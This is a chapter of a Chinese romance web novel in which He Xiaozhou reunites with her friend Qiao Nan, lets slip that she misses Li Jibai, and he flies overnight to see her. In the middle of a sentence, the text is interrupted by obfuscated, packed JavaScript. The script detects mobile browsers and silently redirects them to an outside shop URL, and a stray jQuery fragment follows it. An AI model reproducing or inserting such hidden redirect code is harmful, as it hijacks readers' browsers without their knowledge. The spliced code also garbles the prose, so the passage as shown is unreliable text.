36. 彩虹

作品:《长期关系

    何筱舟没有再把精力耗费在卢斌身上。


    她始终认为任何职场斗争都是浪费时间,利益固然重要,但她从来都更在意自身的提升。


    卢斌交上来的新方案没能通过组内评估,他终于偃旗息鼓。


    按照先前约定的,何筱舟将讨论的几种方案都归纳起来,注明其各自的优缺点,并且详细解释了被采纳或被摒弃的原因。


    整合后的材料经组内研讨评审一致通过后,周五下班前,她在对接群里预约下周的碰面时间。


    却被孙林告知,蔡旬去了桐陵出差,那边的工作一时结束不了,需要改成远程会议的方式。


    李既白可能看到了群里的信息,私聊她,“蔡总开线上会议的风格跟线下不太一样,你们最好准备得充分一点。”


    聊天记录还停留在上次在便利店碰面的时候,何筱舟回他,“你知不知道你这是通敌?”


    “这也算吗?”


    “你知道的,我这人没什么原则。”


    何筱舟莫名联想到他说的什么第三者、偷情之类的话,抬头望一眼安静的办公室,没来由觉得脸热。


    她绷着脸,发去一串长长的破折号。


    李既白没再回复,隔了一会,她正检查资料时,收到他发来的一张手动闭麦的表情包。


    何筱舟关掉微信窗口,再三确定资料没有遗漏什么内容,按习惯备份之后,开车赶去机场接乔楠。


    乔楠和Eric彻底告别,之后去了欧洲。


    她在美国待了那么一段时间,什么都没带回来,临走前挑拣了些能拿得出手的送给纽约的同学,其余的都放二手市场卖掉或者直接丢弃。


    “爽。”


    乔楠将车窗落下一隙,“我第一次知道,真正切断关系是这样的感觉。”


    “其实我和Eric早都知道我们之间不合适,来来回回纠缠不清或许是因为不甘心,但就像扔掉那些东西一样,真的松手之后,感觉卸掉了个沉重的大包袱,我要轻装上阵了。”


    结束得比以往任何一次都体面,两人在一个普通的冬夜里一起吃了顿饭,很平静地说了分手。


    “后面什么打算?”


    乔楠说:“我在欧洲闲逛的时候有很多灵感,之前就有这个想法,开家工作室,尝试做服装设计。另外,过几天,去跟周家那□□见个面。”


    何筱舟回想了下,才记起是先前乔父打算让乔楠联姻的那个周家。“你不是要妥协了吧?”


    “相反,我是想直接面对。不管嘴上说得再天花乱坠,我当初去美国就是逃避现实,既然我决定回来,得先把这些事解决干净。”


    何筱舟在她脸上看到前所未有的坚定与从容,她为乔楠高兴,“喝点儿?”


    车先开去了槐枰街。


    奥斯卡很久没见乔楠,径直扑进她怀里,携着一如既往的力道。


    乔楠跌坐在地,逮着它的脑袋揉够了才站起身。


    起先两人准备去清澜河岸边上的清吧坐一会,经过四季时,乔楠看见店门多出的宠物友好标识,忽然就改了主意。


    季惟显然没预料到乔楠会突然回来,惊愕之余,整个人别别扭扭的,绷着神色问她们喝什么。


    何筱舟随便要了瓶啤酒,窝进角落的卡座里,把交谈的空间留给他们。


    还没到最热闹的时候,只有零零散散几桌顾客,乐队正在唱一首和缓的慢情歌,她听得昏昏欲睡。


    迷蒙间,何筱舟的意识飘荡着,回到很多年前。


    林湛课余时间带着陨落前摇的其他成员在什刹海跑驻唱演出,不赶早课的夜晚或是没有兼职安排的周末,何筱舟会一同前去,边喝酒,边无所事事地听他唱歌。


    缤纷流转的迷离灯光里,她的视线偶尔和林湛的相撞,他会朝她眨眨眼,笑一笑。她心领神会,手指悬在半空握拢,将他的笑容私藏进口袋。


    那时的她每天都急匆匆的,修两门专业,在校外做兼职,生活被忙碌挤压成纯粹的灰,走路都像是在小跑。


    林湛的出现,将这片灰茫撕开一隙,像某则知名广告一样,她单调的世界里被倾倒进许多五彩绚丽的糖豆。


    以至于现在回想起来,她都只记得那些带着甜味的鲜活颜色。


    何筱舟不知道自己迄今为止仍然在怀念过去算不算是在逃避现实。


    她没办法跟乔楠一样直截了当地舍弃,她总是无法自制地怀念父亲,怀念林湛。


    好像唯有这样,她才能深刻感知到,她并非一直孤寂,无论是家庭还是爱情,她曾经都真真切切完整拥有过。


    李既白发来短信的时候,何筱舟刚阖上眼。


    像是偷拍的照片。主角是坐在吧台前聊天的季惟和乔楠,角落里是她,倚着沙发,只露出了肩膀和脑袋。


    “你不开心吗?”


    环境昏暗,也不知道他怎么认出来的。


    又是怎么凭借一个连背影都算不上的模糊剪影,得出这个结论。


    何筱舟不想举着手机打字,直接拨了电话过去。


    “怎么,你找人跟踪我?”


    她语气懒懒的,声音很轻,独特的颗粒质感像风扫树叶,密集地掠过他的心尖,掀起一阵微痒。


    这罪名有点大,李既白忙否认。


    其实是季惟店里的那个调酒师,发张照片来跟他八卦老板。


    何筱舟应了声,听到电话那头吵嚷的声音,“你那边出什么事了?”


    “哦,没什么,景点代拍,摄影师跟顾客吵起来了。我在梧桐街,你记得吗?”


    李既白说:“现在是‘春雨洒青’的阶段,最近常下雨,好像每一场雨都能让树叶变绿一点。”


    说着,他又发来一张照片。


    道旁两侧梧桐枝桠高耸,在顶端交汇,还没到枝繁叶茂的季节,青翠绿叶间,隐约可窥见一线蜿蜒的淡蓝天色。


    仿佛是为了礼尚往来,何筱舟歪靠着沙发扶手,漫不经心报坐标:“我在津海,槐枰街,四季酒吧。”


    她听到李既白轻笑一声,“在做什么?”


    没什么营养的对话,慵懒的氛围,容易让人滋生错觉。


    未经斟酌的话脱口而出,“喝酒,听歌,想你。”


    李既白顿了片刻,像信号延迟,声音隔了一会才抵达她耳畔,“什么?我没听清。”


    何筱舟自知失言,“我说我在等乔楠回家。”


    暧昧的进程戛然而止。


    乔楠跟季惟大概聊透了,他们之间没有实质上的矛盾,当初闹掰也是情绪上头话赶话,俩人一直合得来,不谈感情也有很多话题,闲聊到十点多才散。


    乔楠没喝酒,开车送何筱舟回去。


    太晚,懒得折腾,直接在新安社区留宿。


    何筱舟断断续续喝了不少酒,加上回来时吹了点风,头疼得厉害,在床上翻腾许久睡不着,索性爬起来看电影。


    乔楠时差还没调整过来,同样难以入眠,于是干脆点好夜宵,挑了部热闹的超级英雄题材来看。


    看到三分之二处,何筱舟的手机嗡嗡振响。


    依然是李既白的短信,问她睡了没有。


    何筱舟瞥一眼看得正认真的乔楠,回了个“0”。


    “那方不方便下楼一趟?”


    ?


    何筱舟说上厕所,边给他拨电话,边走去阳台。


    连她自己都没意识到,她的步伐纷乱,像楼上刚开始学钢琴的小学生


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17006258|187888||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    弹奏的不成调乐曲。


    凌晨两点左右的光景,月色如湖水一般澄澈。


    李既白站在树下,远远望过来,“我现在在津海,新安社区,何筱舟家楼下。”


    何筱舟匆忙挂了电话,无暇顾及身上单薄的家居服,换了鞋下楼。


    她在李既白面前站定,微微气喘,“你不是还在桐陵出差,怎么突然过来?”


    李既白脸上带着连夜奔波的倦意,却朝她弯了弯唇,“抱歉,这次是我破坏了分界线。”


    “因为我好像听到有人说想我,想来确认。”


    何筱舟的眼睛微微热了。


    很多时候,她都只把他当作替代品,甚至沉浸其中,贪恋地徘徊于现实与过往交织的模糊边界。


    所以,她很清楚地知道,她此刻的动容绝非因为他与林湛相似的面孔。


    这个男生,因她一句含糊不清的“想你”,深夜跨越千里,将自己送至她面前。


    何筱舟当即修正那场旅行最开始时,她对他的定论。


    他并非被动,只是把自己隔绝在一个单独的圈层里,而一旦有哪个人被他划定进去,他会毫无保留。


    何筱舟微垂下头,许是因为夜里太冷,肩膀不由自主发颤。


    李既白把套在卫衣外层的夹克外套脱下来,罩在她肩头。何筱舟被熟悉的草木气息包裹,在他双手退离之前,顺势环抱住他的腰。


    “既然已经破坏了,就彻底一点。”


    夜这样静谧,彼此贴近的心跳声却剧烈。


    李既白合拢手臂,借身高优势将她整个人搂在胸前,仿佛只有这样,才能稍稍修补这段时间心脏空缺的一角。


    打破这份宁静的是乔楠打来的电话。


    何筱舟退开些许,下意识望向二楼的窗口。


    “姐们儿,今晚还会再见吗?”


    “再见的时候你要幸福好吗?”


    乔楠当面玩梗,无所顾忌地笑开,何筱舟咬牙瞪她,“你够了啊。”


    只是隔着距离,这一瞪并没什么威慑力,反而让乔楠笑得更大声。


    李既白拥着她肩膀,小声道:“你上楼吧,我明天上午还有些工作安排,一会得赶早班机回桐陵。”


    “等我回来再说。”


    他们距离太近,他的话顺着听筒传进乔楠耳朵。


    “怎么那么着急走,还没……”


    何筱舟预感乔楠要说些虎狼之词,直接切断通话。


    她看眼时间,问:“几点的票?”


    “六点。”


    何筱舟抬眼幽幽地看着他,颇有些无语,“你不嫌麻烦吗,万一我睡了,没看见你的短信,你不是白跑一趟?”


    “我说过,麻烦的程度低过我想见你,就不是麻烦。”


    李既白扬起眉梢,“更何况,今天是你想见我。”


    “那也可以打电话?打视频?”


    李既白伸手抬起她的下巴,脸凑近,似在认真研判她话里的诚意,“如果我没记错,我好像在电话里跟你确认过,你是没否认,但是很生硬地岔开话题了。”


    “某人总是口不由心,隔着电话方便她耍赖,我当面确认过才能放心。”


    何筱舟哑口无言,快速眨了眨眼。


    男生忽然松开手,视线避开她的眼睛,略微下移,落去她唇角。


    “你要不要回去?”


    何筱舟对他的反应了如指掌,故意挑衅:“如果不呢?”


    李既白沉吟片刻,一手扣住她肩膀,另只手搂紧她的腰,将她重新固在怀中。


    呼吸悬停在她鼻尖。


    见她不阻止,他不再有任何犹豫,低头含住她的唇。


    “那再陪我待一会。”